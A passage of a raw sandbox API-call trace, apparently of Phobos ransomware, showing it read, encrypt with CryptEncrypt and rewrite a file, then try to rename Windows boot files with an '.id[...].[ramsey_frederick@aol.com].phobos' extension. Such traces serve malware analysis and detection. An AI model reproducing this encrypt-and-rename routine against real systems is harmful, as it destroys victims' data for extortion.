liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0054.284] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0054.284] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0054.342] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0054.342] ReadFile (in: hFile=0x32c, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0054.425] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0054.425] ReadFile (in: hFile=0x32c, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0054.490] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f704 | out: phKey=0x352f704*=0x10dca10) returned 1 [0054.490] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0054.490] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0080) returned 1 [0054.491] CryptDestroyKey (hKey=0x10dca10) returned 1 [0054.491] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6e0 | out: lpNewFilePointer=0x0) returned 1 [0054.491] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x352f6f0, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f0*=0xc0132, lpOverlapped=0x0) returned 1 [0054.510] SetEndOfFile (hFile=0x32c) returned 1 [0054.510] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0054.510] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0054.512] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0054.512] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0054.513] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0054.513] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0054.515] CloseHandle (hObject=0x32c) returned 1 [0056.336] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.336] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.338] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=1985867) returned 1 [0056.338] CloseHandle (hObject=0x32c) returned 1 [0056.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0056.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0056.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0056.338] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.338] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.656] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=2373000) returned 1 [0056.656] CloseHandle (hObject=0x310) returned 1 [0056.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0056.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0056.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0056.669] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.669] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.699] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=143754) returned 1 [0056.699] CloseHandle (hObject=0x334) returned 1 [0056.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0056.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.699] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.699] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.699] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.714] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=145419) returned 1 [0056.714] CloseHandle (hObject=0x334) returned 1 [0056.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0056.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.715] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.717] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=164347) returned 1 [0056.717] CloseHandle (hObject=0x32c) returned 1 [0056.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0056.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.717] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.718] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=156245) returned 1 [0056.718] CloseHandle (hObject=0x32c) returned 1 [0056.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0056.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.718] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.719] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=44859) returned 1 [0056.719] CloseHandle (hObject=0x32c) returned 1 [0056.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0056.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.721] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.721] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=79200) returned 1 [0056.721] CloseHandle (hObject=0x32c) returned 1 [0056.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0056.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.721] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.721] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=79192) returned 1 [0056.722] CloseHandle (hObject=0x32c) returned 1 [0056.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0056.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.722] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.722] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45984) returned 1 [0056.722] CloseHandle (hObject=0x32c) returned 1 [0056.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0056.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.722] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.722] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.723] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=76640) returned 1 [0056.723] CloseHandle (hObject=0x32c) returned 1 [0056.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0056.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.723] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.723] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=78688) returned 1 [0056.723] CloseHandle (hObject=0x32c) returned 1 [0056.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0056.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.723] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.723] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.724] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45976) returned 1 [0056.724] CloseHandle (hObject=0x32c) returned 1 [0056.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0056.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.724] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.724] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.724] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.724] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=77144) returned 1 [0056.724] CloseHandle (hObject=0x32c) returned 1 [0056.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0056.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.724] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.724] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.724] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.725] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=45472) returned 1 [0056.725] CloseHandle (hObject=0x32c) returned 1 [0056.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0056.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.725] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.725] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=67424) returned 1 [0056.725] CloseHandle (hObject=0x32c) returned 1 [0056.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0056.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.725] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0056.725] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.725] GetFileSizeEx (in: 